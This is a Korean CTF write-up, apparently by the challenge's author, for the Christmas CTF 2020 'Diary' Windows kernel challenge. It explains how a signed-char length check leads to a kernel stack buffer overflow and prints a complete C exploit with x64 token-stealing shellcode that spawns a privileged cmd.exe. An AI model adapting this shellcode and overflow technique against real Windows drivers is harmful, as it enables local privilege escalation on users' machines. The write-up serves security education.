cgy12306

Christmas CTF 2020 Diary write-up 본문

CTF Write-up

Christmas CTF 2020 Diary write-up

cgy12306 2021. 2. 1. 22:07

Screw driver와 함께 출제었던 windows kernel exploit 문제입니다.

 

Anna라는 친구가 크리스마스 소원을 적은 일기장을 부모님이 Anna가 자는 사이 몰래 읽어야 성공하는 컨셉의 문제였습니다.

 

난이도 조절한다고 낑낑대면서 낸 문제였는데 0 Solve여서 놀림을 많이 받았습니다ㅠㅠㅠ

 

lpe가 되는지 직접 검수해야 돼서 라이트업을 받아 결과를 메일로 답을 줘야 했기 때문에 답변용 메일도 작성해놨었는데 아쉽게도 제출한 사람이 없어 폐기처분해야 했습니다.

 

아마 0 solve인 이유는 윈도우 포너블을 하는 사람이 별로 없어서라고 생각하고 있습니다....  혼자 올클 방지용 문제라  위로 중...ㅎㅎ

 

dispatchDeviceControl을 보게 되면 3개의 ioctl 코드로 분기를 나누고 있는 것을 볼 수 있습니다.

 

sub_1400010B8을 먼저 보겠습니다.

 

 

CGY라는 태그로 pool을 할당해서 v4의 값을 할당한 위치에 v5만큼 복사하고, P에 값이 들어있으면 free를 해주는 코드입니다. 혹시 여기에 취약점이??!?! 라는 생각을 들게 하여 조금이라도 시간을 끌어보기 위해서 넣어준 함수입니다.ㅋㅋㅋ

 

다시 dispatch 루틴으로 돌아와 sub_140001150 함수를 살펴보겠습니다.

 

C:\\Anna's_diary의 파일을 읽어오는 함수입니다.

 

다시 dispatch 루틴으로 돌아와 sub_1400012c0 함수를 보겠습니다. 이 함수를 눈여겨봐야 합니다.

 

이 함수는 C:\\Anna's_diary 파일에 내용을 작성하는 함수입니다.

 

inputbufferlength를 받아와서 16보다 크면 함수를 종료하고 16보다 작으면 파일을 작성하게 됩니다.

 

Line 11을 보게 되면 inputbufferlength를 받을 때 char형으로 받아와서 16과 비교를 하게 되는데 이때 type confusion 취약점이 발생하게 됩니다.

 

movsx는 부호비트로 목적지 피연산자의 왼쪽 비트들을 채우기 때문에 첫 번째 바이트가 7f보다 크게 되면 eax값이 ffffff??가 되게 됩니다. ffffff?? 값을 음수로 판단하기 때문에 해당 분기문을 통과할 수 있게 됩니다.

 

분기문을 통과한 후 분기문에서 사용되었던 rax(00000000`ffffff??) 값을 0xff와 and 연산을 하고, 복사할 크기 값으로 사용합니다.

 

 

buffer가 스택에 할당된 크기는 0x10 만큼이지만 0x7f 이상인 값만큼 복사가 되기 때문에 kernel stack buffer overflow가 발생하게 됩니다. ret을 조작할 수 있기 때문에 쉘 코드로 토큰을 steal하면 됩니다.

 

#include <stdio.h>
#include <string.h>
#include <Windows.h>

#define DEVICE_NAME		"\\\\.\\diary"
#define IOCTL_CODE		0x222008


char shellcode[] = "\x48\x31\xC0"
"\x65\x48\x8B\x04\x25\x88\x01"
"\x00\x00"
"\x48\x8B\x40\x70"
"\x48\x89\xC1"
"\x49\x89\xCB"
"\x49\x83\xE3\x07"
"\x48\xC7\xC2\x04\x00\x00\x00"
"\x48\x8B\x80\x88\x01\x00\x00"
"\x48\x2D\x88\x01\x00\x00"
"\x48\x39\x90\x80\x01\x00\x00"
"\x75\xEA"
"\x48\x8B\x90\x08\x02\x00\x00"
"\x48\x83\xE2\xF0"
"\x4C\x09\xDA"
"\x48\x89\x91\x08\x02\x00\x00"
"\x48\x83\xc4\x68"
"\xc3";

int main() {
	HANDLE hDevice;
	LPVOID shellcode_addr;

	char payload[0xf0] = { 0, };

	PROCESS_INFORMATION pi;
	STARTUPINFOA si;
	DWORD byteRet;

	hDevice = CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL, NULL);

	shellcode_addr = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
	memcpy(shellcode_addr, shellcode, sizeof(shellcode));

	memset(payload, 0x80, sizeof(payload));
	memcpy(payload + 0x30, &shellcode_addr, 8);

	DeviceIoControl(hDevice, IOCTL_CODE, payload, sizeof(payload), NULL, 0, &byteRet, NULL);

	ZeroMemory(&pi, sizeof(pi));
	ZeroMemory(&si, sizeof(si));

	
	if (!CreateProcessA("C:\\Windows\\System32\\cmd.exe", NULL, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
		printf("[!] CreateFileA failed with error %lu.\n", GetLastError());
		ExitProcess(0);
	}
	
	return 0;
}

 

 


Exploit 성공 시 회신 메일

2020 12/25 Friday Sunny
Dear Santa.
My name is Anna.
I am 7 years old.
My Christmas Wish List is XMAS{s@Nt4!_I_w@n7_t0_B1tC01n}.
Thx~

Exploit 실패 시 회신 메일

2020 12/25 Friday Cloudy
My name is Anna.
I am 15 years old.
There is no santa in the world.
I will not believe my parents anymore.

'CTF Write-up' 카테고리의 다른 글

Christmas 2020 CTF Screw Driver Write-Up  (0) 2021.01.02
Codegate 2017 dart-master  (0) 2020.04.18
WITHCON 2016 malloc  (0) 2020.04.18
Codegate 2016 floppy  (0) 2020.04.18
Codegate 2017 Angrybird  (0) 2020.03.02
Comments